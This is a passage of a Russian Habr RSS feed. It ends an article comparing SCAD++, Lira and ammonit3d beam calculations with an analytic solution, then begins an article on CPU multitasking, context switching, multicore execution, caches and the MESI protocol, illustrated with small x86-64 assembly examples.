data-width=5.432 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 781w&#34; loading=lazy decode=async&gt; по длине балки, полученные в программе SCAD++&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div class=floating-image&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/af7/458/8d8/af74588d82666f6bae7acb0d617dacda.png alt=&#34;Рис. 4 Графики момента  и прогиба  по длине балки, полученные в программе Lira&#34; title=&#34;Рис. 4 Графики момента  и прогиба  по длине балки, полученные в программе Lira&#34; width=1200 height=636 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/af7/458/8d8/af74588d82666f6bae7acb0d617dacda.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/af7/458/8d8/af74588d82666f6bae7acb0d617dacda.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рис. 4 Графики момента &lt;img class=&#34;formula inline&#34; source=M(x) alt=M(x) src=https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg width=40 height=16 data-width=5.432 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 781w&#34; loading=lazy decode=async&gt; и прогиба &lt;img class=&#34;formula inline&#34; source=v(x) alt=v(x) src=https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg width=32 height=16 data-width=4.152 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 781w&#34; loading=lazy decode=async&gt; по длине балки, полученные в программе Lira&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ef7/3c0/801/ef73c080117323cf8bff1949210a0c7e.png alt=&#34;Рис. 5 (Сверху вниз) Эпюры прогиба и момента  по длине балки, полученные в облаке ammonit3d, модель: analytic&#34; title=&#34;Рис. 5 (Сверху вниз) Эпюры прогиба и момента  по длине балки, полученные в облаке ammonit3d, модель: analytic&#34; width=931 height=520 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ef7/3c0/801/ef73c080117323cf8bff1949210a0c7e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ef7/3c0/801/ef73c080117323cf8bff1949210a0c7e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рис. 5 (Сверху вниз) Эпюры прогиба&lt;img class=&#34;formula inline&#34; source=v(x) alt=v(x) src=https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg width=32 height=16 data-width=4.152 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg 781w&#34; loading=lazy decode=async&gt; и момента &lt;img class=&#34;formula inline&#34; source=M(x) alt=M(x) src=https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg width=40 height=16 data-width=5.432 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 781w&#34; loading=lazy decode=async&gt; по длине балки, полученные в облаке &lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d, модель: analytic&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Из таблицы 1 видно, что параметры, найденные аналитически, совпадают с численным решением модели из одного конечного элемента для SCAD++ и Lira, так и для &lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt;. Однако SCAD++, Lira в рамках одного конечного элемента не отображает эпюры прогибов на конечно-элементной расчётной схеме(?), а лишь в отдельном окне эпюр. При этом &lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt; обеспечивает отображение и прогибов и моментов на пространственной схеме.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=216 width=216&gt;&lt;p align=left&gt;Что сравниваем&lt;td&gt;&lt;p align=left&gt;&lt;img class=&#34;formula inline&#34; source=&#34;v(0.0), 10^{-3} м&#34; alt=&#34;v(0.0), 10^{-3} м&#34; src=https://habrastorage.org/getpro/habr/formulas/e/e0/e04/e042b96a44f28482077f7d87ee57bb68.svg width=96 height=16 data-width=12.607 data-height=2.564 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/e0/e04/e042b96a44f28482077f7d87ee57bb68.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/e0/e04/e042b96a44f28482077f7d87ee57bb68.svg 781w&#34; loading=lazy decode=async&gt;&lt;td data-colwidth=176 width=176&gt;&lt;p align=left&gt;&lt;img class=&#34;formula inline&#34; source=&#34;M(0.5), \,Н\cdotм&#34; alt=&#34;M(0.5), \,Н\cdotм&#34; src=https://habrastorage.org/getpro/habr/formulas/1/1d/1d9/1d9ccef7c3e6f9bd277eb623584fb972.svg width=96 height=16 data-width=12.763 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/1/1d/1d9/1d9ccef7c3e6f9bd277eb623584fb972.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/1/1d/1d9/1d9ccef7c3e6f9bd277eb623584fb972.svg 781w&#34; loading=lazy decode=async&gt;&lt;td&gt;&lt;p align=left&gt;&lt;img class=&#34;formula inline&#34; source=&#34;M(0.0), \,Н\cdotм&#34; alt=&#34;M(0.0), \,Н\cdotм&#34; src=https://habrastorage.org/getpro/habr/formulas/9/9e/9e8/9e855020fce6235e0b91346aabbc462c.svg width=96 height=16 data-width=12.763 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/9/9e/9e8/9e855020fce6235e0b91346aabbc462c.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/9/9e/9e8/9e855020fce6235e0b91346aabbc462c.svg 781w&#34; loading=lazy decode=async&gt;&lt;tr&gt;&lt;td data-colwidth=216 width=216&gt;&lt;p align=left&gt;Аналитическая формула&lt;td&gt;&lt;p align=left&gt;-1.165000&lt;td data-colwidth=176 width=176&gt;&lt;p align=left&gt;125&lt;td&gt;&lt;p align=left&gt;250&lt;tr&gt;&lt;td data-colwidth=216 width=216&gt;&lt;p align=left&gt;SCAD++&lt;td&gt;&lt;p align=left&gt;-1.164999&lt;td data-colwidth=176 width=176&gt;&lt;p align=left&gt;125&lt;td&gt;&lt;p align=left&gt;250&lt;tr&gt;&lt;td data-colwidth=216 width=216&gt;&lt;p align=left&gt;Lira&lt;td&gt;&lt;p align=left&gt;-1.165000&lt;td data-colwidth=176 width=176&gt;&lt;p align=left&gt;125&lt;td&gt;&lt;p align=left&gt;250&lt;tr&gt;&lt;td data-colwidth=216 width=216&gt;&lt;p align=left&gt;&lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;-1.165000&lt;td data-colwidth=176 width=176&gt;&lt;p align=left&gt;125&lt;td&gt;&lt;p align=left&gt;250&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Вывод&lt;/h2&gt;&lt;p&gt;Безусловно, коммерческие пакеты SCAD++ и Lira обеспечивают в рамках модели Эйлера-Бернулли аналитическую точность на одном конечном элементе, как и &lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt;. Однако облачное приложение демонстрирует современную графику и кроссплатформенность, т. е. возможность создавать модели и выполнять расчёты на компьютерах, планшетах, смартфонах и других гаджетах, имеющих доступ к интернету. И главная особенность – моделями 3Д расчётных схем можно делиться в соцсетях, по почте, размещать ссылки публичных моделей на различных сайтах или делиться приватными моделями в своём сообществе.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>atomicra</author>
      <guid>https://habr.com/ru/articles/1024876/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024876</guid>
      <pubDate>Fri, 17 Apr 2026 21:04:05 +0000</pubDate>
    </item>
    <item>
      <title>Деконструкция GO: CPU, RAM и что там происходит. Многозадачность, многопоточность, кэши, проблемы. Часть 1.2</title>
      <link>https://habr.com/ru/articles/1024868/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024868</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;В &lt;a href=https://habr.com/ru/articles/1023964/ rel=&#34;noopener noreferrer nofollow&#34;&gt;прошлой статье&lt;/a&gt; я немного слукавил, сказав, что мы будем разбирать атомики, барьеры и системные вызовы. Я пару дней поразмышлял и осознал – а зачем вообще это объяснять, если мы даже не знаем про причину их возникновения и проблемы, которые они решают&lt;p&gt;В части 1.1 мы рассмотрели базовые инструкции, которые выполняет наш CPU и которыми в конечном счете и являются наши прекрасные строчки на Go. Но возникает закономерный вопрос: “Окей, мы поняли как работает на одном ядре, но Go у нас во многом про многопоточку, соответственно как это будет работать на нескольких потоках?”&lt;p&gt;&lt;em&gt;Если что, то это часть большого цикла по разбору Go! Данная статья – это подводка уже к тому, с чем мы имеем дело в Go достаточно часто(барьеры памяти, атомики, сисколы)&lt;/em&gt;&lt;p&gt;В этот раз будет без Go Assembler, но с +- реальными примерами, если что-то непонятно будет, то на Хабре есть классный ИИ-помощник&lt;p&gt;&lt;strong&gt;Многозадачность&lt;/strong&gt;&lt;p&gt;Хоть мы и развенчиваем в этом цикле абстракции, придется немного к ним вернуться. Но ненадолго!&lt;p&gt;Вспоминаем, как у нас выполняются инструкции в процессоре и представляем следующую конфигурацию:&lt;p&gt;Есть какое-то количество ГБ RAM&lt;p&gt;Есть 1 ядро CPU&lt;p&gt;Соответственно в один момент CPU может выполнять ровно 1 набор инструкций&lt;p&gt;Но почему-то всё во времена одноядерных CPU работало непрерывно…&lt;p&gt;&lt;em&gt;На самом деле нет!&lt;/em&gt;&lt;p&gt;Работало еще как с прерываниями(не путать с теми, которые interrupt), просто настолько быстро, что мы были неспособны это осознать, а для того, чтобы успевали работать фоновые службы, приложения и что бы то ни было ещё как раз и придумали &lt;strong&gt;многозадачность&lt;/strong&gt;!&lt;p&gt;Введем определение&lt;blockquote&gt;&lt;p&gt;Многозадачность – это способность операционной системы выполнять несколько программ или потоков одновременно (или псевдопараллельно), быстро переключая процессор между ними&lt;/blockquote&gt;&lt;p&gt;И вот ключевое здесь пока что для нас – “быстро переключаясь”. А схемы работы исторически было предложено 2:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Кооперативная&lt;li&gt;&lt;p&gt;Прерываемая&lt;/ul&gt;&lt;p&gt;Начнем с &lt;strong&gt;кооперативной&lt;/strong&gt;. На самом деле, это интуитивное решение, что называется “в лоб”. Схема работы очень простая:&lt;br&gt;1) CPU начинает выполнять задачу&lt;br&gt;2) CPU исполняет инструкции задачи&lt;br&gt;3) Задача добровольно передает управление&lt;br&gt;4) CPU начинает выполнять следующую задачу&lt;p&gt;Вот упрощенный пример на x86-64 в Linux:&lt;pre&gt;&lt;code class=assembly&gt;yield_cpu:&#xA;mov rax, 24 ; Номер системного вызова sched_yield. Это означает системный вызов на “уступание” CPU&#xA;syscall ; сам вызов сискола. Инструкция процессора перехода из user mode в kernel mode.&#xA;ret&#xA;&#xA;_start:&#xA;; &amp;#34;task A&amp;#34;&#xA;mov rsi, msg1 ; msg1 помещаем в rsi&#xA;mov rdx, len1 ; len1 помещаем в rdx&#xA;&#xA;call yield_cpu ; добровольно отдаем CPU&#xA;&#xA;; &amp;#34;task B&amp;#34;&#xA;mov rsi, msg2 ; msg2 помещаем в rsi&#xA;mov rdx, len2 ; len2 помещаем в rdx&#xA;&#xA;call yield_cpu ; снова добровольно отдаем CPU&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Чувствуете запах зависания? Я тоже. Действительно в Windows 3.1 например могла повиснуть программа(и вместе с ней ОС) на бесконечном цикле. В целом, это и есть ключевая проблема кооперативной многозадачности&lt;p&gt;Теперь про &lt;strong&gt;прерываемую &lt;/strong&gt;многозадачность:&lt;p&gt;Как ясно из названия, в схеме работы такой многозадачности кто-то эти самые задачи прерывает и обычно это таймер планировщика. &lt;p&gt;Для понимания прерываемой многозадачности нам следует ввести также понятие&lt;blockquote&gt;&lt;p&gt;Прерывание процессора – это механизм, позволяющий системе приостановить выполнение текущей программы для немедленной обработки внешнего или внутреннего события, а после чего система может вернуться к прерванному коду&lt;/blockquote&gt;&lt;p&gt;Схема работы тут уже такая:&lt;br&gt;1) CPU начинает выполнять задачу&lt;p&gt;2) CPU исполняет инструкции задачи&lt;p&gt;3) Аппаратный таймер генерирует interrupt, либо задача заканчивается(-&amp;gt; п.5)&lt;p&gt;4) CPU передает управление обработчику прерывания (interrupt handler)&lt;p&gt;5) Планировщик выбирает следующую задачу&lt;p&gt;Вот упрощенный пример на x86-64 в Linux:&lt;pre&gt;&lt;code class=assembly&gt;task:&#xA;    mov rax, 1              ; какая-то работа задачи&#xA;    mov rbx, 2              ; еще работа&#xA;    add rax, rbx            ; считаем&#xA;    ; &amp;lt;- в этот момент может прийти прерывание таймера&#xA;    sub rax, 1              ; после возврата продолжаем отсюда&#xA;    jmp task                ; задача крутится дальше&#xA;&#xA;timer_interrupt: ; обработчик прерывания&#xA;    push rax                ; сохраняем часть контекста&#xA;    push rbx                ; сохраняем регистры&#xA;    ; здесь логика ядра / планировщика&#xA;    ; можно выбрать другую задачу&#xA;    pop rbx                 ; восстанавливаем регистры&#xA;    pop rax                 ; восстанавливаем контекст&#xA;    iret                    ; возврат в прерванную точку&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Отмечу отдельно, что процессор автоматически сохраняет часть контекста (RIP, CS, RFLAGS) перед переходом в обработчик.&lt;p&gt;У кого-то может возникнуть вопрос, откуда процессор  знает про timer_interrupt. Вопрос резонный. Процессор не знает конкретный обработчик заранее. Он использует таблицу прерываний (IDT), которую заполняет операционная система. В ней каждому номеру прерывания соответствует адрес обработчика&lt;p&gt;А вот теперь интересный момент. Допустим, задача прервалась и наш дорогой CPU переключился на другую задачу, не выполнив прерванную.Очевидно, что прерванную надо как-то восстановить позже, чтобы всё-таки доделать. &lt;p&gt;И вот мы познакомились с одной из задач RAM – временно хранить данные о задачах, которые состоят из:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Значений регистров процессора для данной задачи &lt;li&gt;&lt;p&gt;Указателя текущей инструкции (RIP) &lt;li&gt;&lt;p&gt;Указателя стека (RSP) &lt;li&gt;&lt;p&gt;Регистра флагов (RFLAGS)&lt;li&gt;&lt;p&gt;Данных, лежащих в стеке&lt;/ul&gt;&lt;p&gt;Это называется &lt;strong&gt;контекстом задачи&lt;/strong&gt;&lt;p&gt;Зафиксируем:&lt;blockquote&gt;&lt;p&gt;Контекст задачи — это &lt;strong&gt;состояние процессора&lt;/strong&gt;, которое нужно восстановить, чтобы продолжить выполнение&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Переключение контекста(context switching) – &lt;/strong&gt;это операция сохранения контекста одной задачи и загрузки контекста другой&lt;/blockquote&gt;&lt;p&gt;В упрощённом виде это выглядит как сохранение регистров в память (push) и восстановление их позже (pop). Кстати, часть контекста процессор переносит в RAM сам&lt;p&gt;&lt;strong&gt;Многопоточность&lt;/strong&gt;&lt;p&gt;В процессе эволюции, развитие(увеличение) производительности однопоточных CPU по &lt;a href=https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%9C%D1%83%D1%80%D0%B0 rel=&#34;noopener noreferrer nofollow&#34;&gt;закону Мура&lt;/a&gt; замедлилось, но вот проблема – требования к софту росли и в 2002 году Intel представила технологию Hyper-Threading в процессорах Pentium 4. Она позволила одному физическому ядру выполнять два потока инструкций одновременно, что операционная система воспринимала как два логических процессора.&lt;p&gt;На уровне CPU корректнее говорить о &lt;strong&gt;многоядерности и SMT&lt;/strong&gt;, тогда как многопоточность — абстракция ОС и языков программирования. Что при этом интересно, разделяются &lt;strong&gt;физические &lt;/strong&gt;и &lt;strong&gt;логические &lt;/strong&gt;ядра.&lt;blockquote&gt;&lt;p&gt;Физическое ядро — это &lt;strong&gt;реальный вычислительный бло&lt;/strong&gt;к процессора, содержащий конвейер исполнения инструкций, арифметико-логические устройства, кэши и другие элементы, необходимые для выполнения программы.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;Логическое ядро — это &lt;strong&gt;виртуальное вычислительное ядро&lt;/strong&gt;, которое операционная система видит как отдельный процессор, но которое делит часть ресурсов физического ядра с другим логическим ядром&lt;/blockquote&gt;&lt;p&gt;Хотя прожжённые линуксоиды уже наверняка вспомнили, что в Linux можно ограничивать, на каких ядрах будет выполняться процесс. Например, можно закрепить задачу только за физическими ядрами или наоборот — разрешить ей работать лишь на логических потоках одного ядра. Это делается с помощью механизма &lt;strong&gt;CPU affinity&lt;/strong&gt;, который позволяет управлять распределением процессов по ядрам процессора&lt;p&gt;Заметим, что&lt;ul&gt;&lt;li&gt;&lt;p&gt;Каждое ядро выполняет свой поток инструкций независимо&lt;li&gt;&lt;p&gt;Регистры у каждого ядра свои&lt;li&gt;&lt;p&gt;RAM общая&lt;/ul&gt;&lt;p&gt;Поэтому два потока могут одновременно читать и писать одну и ту же память и выполнять инструкции независимо&lt;p&gt;Давайте не будем томить и рассмотрим, как вообще выполняются инструкции на нескольких ядрах&lt;pre&gt;&lt;code class=assembly&gt;; Пусть у нас есть 2 потока:&#xA;; Thread A Linux запустил на Core 0&#xA;; Thread B Linux запустил на Core 1&#xA;&#xA;thread_a:&#xA;mov rax, [counter] ; Core 0 читает counter из RAM в свой rax&#xA;add rax, 1 ; Core 0 увеличивает значение в своем регистре&#xA;mov [counter], rax ; Core 0 записывает новое значение обратно в RAM&#xA;jmp thread_a ; повторяем&#xA;&#xA;thread_b:&#xA;mov rax, [counter] ; Core 1 читает counter из RAM в свой rax&#xA;add rax, 1 ; Core 1 увеличивает значение в своем регистре&#xA;mov [counter], rax ; Core 1 записывает новое значение обратно в RAM&#xA;jmp thread_b ; повторяем&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Что же тут особенного? Почему нет каких-то специфических инструкций? А все очень просто!&lt;p&gt;Процессор сам по себе не настолько умен. Глобально – он лишь занимается исполнением разного рода инструкций, поэтому решение относительно того, какое конкретно ядро будет исполнять необходимые инструкции лежит на планировщике ОС.&lt;p&gt;Но откуда он вообще знает, о том какие ядра у нас есть?&lt;p&gt;А вот тут уже процессором предусмотрена инструкция &lt;strong&gt;CPUID&lt;/strong&gt;, с помощью которой ядро может узнать характеристики процессора:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Количество физических ядер&lt;li&gt;&lt;p&gt;Количество логических потоков&lt;li&gt;&lt;p&gt;Топологию CPU&lt;/ol&gt;&lt;p&gt;Далее BIOS или UEFI передают эту информацию ядру в его таблицу аппаратуры&lt;ul&gt;&lt;li&gt;&lt;p&gt;ACPI tables&lt;li&gt;&lt;p&gt;MADT (APIC table)&lt;/ul&gt;&lt;p&gt;После инициализации ядро присваивает каждому процессору идентификатор (CPU ID):&lt;p&gt;CPU 0&lt;p&gt;CPU 1&lt;p&gt;CPU 2&lt;p&gt;CPU 3&lt;p&gt;Например так&lt;p&gt;Кому интересно, на Linux можете посмотреть это так:&lt;pre&gt;&lt;code class=bash&gt;cat /proc/cpuinfo&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;То есть при появлении новой задачи планировщик помещает её в очередь выполнения одного из CPU!&lt;p&gt;&lt;strong&gt;Процессорные кэши&lt;/strong&gt;&lt;p&gt;До этого момента мы исходили из упрощённой(и староватой) модели:&lt;p&gt;CPU + RAM&lt;p&gt;По факту, если использовать только RAM, то CPU в основном только и будет, что ждать данные оттуда т.к. RAM – устройство медленное в масштабах железа. Даже современная оперативная память имеет задержки в десятки наносекунд, тогда как процессор выполняет инструкции за единицы наносекунд. Время простоя представили на многозадачности?&lt;p&gt;Чтобы решить эту проблему, в архитектуру процессоров были введены &lt;strong&gt;кэши!&lt;/strong&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9d0/e47/230/9d0e47230fb12914599267ad15f7209d.png alt=&#34;Иерархия обращений к памяти от CPU до RAM&#34; title=&#34;Иерархия обращений к памяти от CPU до RAM&#34; width=167 height=452 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9d0/e47/230/9d0e47230fb12914599267ad15f7209d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9d0/e47/230/9d0e47230fb12914599267ad15f7209d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Иерархия обращений к памяти от CPU до RAM&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Уверен, что многие видели эту схему кучу раз&lt;p&gt;Но… мы её рассмотрим для общей картины.&lt;p&gt;&lt;strong&gt;L1 Cache&lt;/strong&gt;&lt;p&gt;Самый быстрый и самый маленький. &lt;p&gt;Размер ~32–64 KB&lt;p&gt;Задержка ~4 такта&lt;p&gt;Обычно отдельный для инструкций и данных&lt;p&gt;Он находится &lt;strong&gt;внутри каждого ядра&lt;/strong&gt;.&lt;p&gt;&lt;strong&gt;L2 Cache&lt;/strong&gt;&lt;p&gt;Больше по размеру, но медленнее&lt;p&gt;размер ~256 KB – 1 MB&lt;p&gt;задержка ~10–15 тактов&lt;p&gt;Чаще всего &lt;strong&gt;также принадлежит одному ядру&lt;/strong&gt;&lt;p&gt;&lt;strong&gt;L3 Cache&lt;/strong&gt;&lt;p&gt;Самый большой и самый медленный из кэшей.&lt;p&gt;размер ~8–40 MB&lt;p&gt;задержка ~30–50 тактов&lt;p&gt;Обычно &lt;strong&gt;общий для всех ядер процессора&lt;/strong&gt;&lt;p&gt;Часто выполняет роль буфера между ядрами и RAM&lt;p&gt;И вот возникают несколько логичных вопросов:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Зачем нам уровни кэша?&lt;li&gt;&lt;p&gt;Кто принимает решение о помещении в кэш?&lt;li&gt;&lt;p&gt;И какие вообще у них назначения?&lt;/ol&gt;&lt;p&gt;Главная причина разделения на уровни — компромисс между скоростью, размером и стоимостью памяти, потому что чем память быстрее, тем она:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Дороже&lt;li&gt;&lt;p&gt;Меньше&lt;li&gt;&lt;p&gt;Сложнее масштабируется&lt;/ul&gt;&lt;p&gt;Физически невозможно сделать огромный и быстрый кэш, поэтому пришлось разделять!&lt;p&gt;Вот примерное время доступа к разным уровням памяти:&lt;p&gt;Регистры ~1 такт&lt;p&gt;L1 cache ~4 такта&lt;p&gt;L2 cache ~12 тактов&lt;p&gt;L3 cache ~40 тактов&lt;p&gt;RAM ~100-300 тактов&lt;p&gt;Но кто же все-таки принимает решение о размещении чего-либо в кэше?&lt;blockquote&gt;&lt;p&gt;Ответ: Сам процессор. Ни ядро ОС, ни пользователь не могут управлять кэшами, это делает аппаратная логика процессора (cache controller)&lt;/blockquote&gt;&lt;p&gt;Но уже чувствуется ситуация, когда в таком случае разные ядра могут иметь собственные копии фрагментов из L3 в своих L1/L2 &lt;p&gt;Чтобы разные ядра не работали с устаревшими данными, процессоры используют &lt;strong&gt;cache coherence protocols&lt;/strong&gt;.&lt;p&gt;Самый известный – &lt;strong&gt;MESI&lt;/strong&gt;&lt;p&gt;Он следит за тем, чтобы в случае когда одно ядро изменило данные, другие ядра получили обновление&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Строка кэша(сache line) &lt;/strong&gt;– это минимальный блок данных, которым процессор обменивается между кэшем и оперативной памятью. Обычно 64 байт для большинства современных x86-64 процессоров&lt;/blockquote&gt;&lt;p&gt;Название MESI – это аббревиатура четырёх состояний, в которых может находиться cache line:&lt;p&gt;M – Modified&lt;p&gt;E – Exclusive&lt;p&gt;S – Shared&lt;p&gt;I – Invalid&lt;h4&gt;Modified&lt;/h4&gt;&lt;p&gt;Cache line изменена текущим ядром и отличается от значения в RAM&lt;p&gt;Только одно ядро владеет данными&lt;p&gt;RAM устарела&lt;p&gt;При необходимости данные позже будут записаны обратно в память&lt;h4&gt;Exclusive&lt;/h4&gt;&lt;p&gt;Cache line находится только в одном кэше и совпадает с RAM&lt;p&gt;Ядро может изменить её без уведомления других&lt;h4&gt;Shared&lt;/h4&gt;&lt;p&gt;Одна и та же cache line присутствует в нескольких кэшах&lt;p&gt;Данные можно читать&lt;p&gt;Но изменять нельзя без &lt;strong&gt;invalidation &lt;/strong&gt;других копий&lt;h4&gt;Invalid&lt;/h4&gt;&lt;p&gt;Cache line считается недействительной&lt;p&gt;Ядро должно заново запросить данные&lt;p&gt;Но даже несмотря на существование протоколов согласованности кэшей, проблема полностью не исчезает&lt;p&gt;Рассмотрим ситуацию, когда два ядра работают с одной и той же переменной&lt;pre&gt;&lt;code class=assembly&gt;; Представим, что поток A выполняется на Core 0, а поток B — на Core 1.&#xA;mov rax, [counter]&#xA;add rax, 1&#xA;mov [counter], rax&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;А теперь что происходит в состоянии процессора:&lt;p&gt;1) Core 0 читает counter&lt;p&gt;RAM → L3 → L2 → L1 (Core 0)&lt;p&gt;Cache line получает состояние &lt;strong&gt;Shared&lt;/strong&gt;&lt;p&gt;2) Core 1 читает counter&lt;p&gt;RAM → L3 → L2 → L1 (Core 1)&lt;p&gt;Теперь &lt;strong&gt;оба ядра имеют копию cache line&lt;/strong&gt;&lt;p&gt;3) Core 0 хочет изменить значение&lt;p&gt;Чтобы записать данные, ядро должно получить &lt;strong&gt;эксклюзивное владение cache line&lt;/strong&gt;.&lt;p&gt;По протоколу MESI происходит:&lt;p&gt;Core 0 → инвалидирует cache line у других ядер&lt;p&gt;Core 1 вынужден &lt;strong&gt;выбросить свою копию&lt;/strong&gt;&lt;p&gt;4) 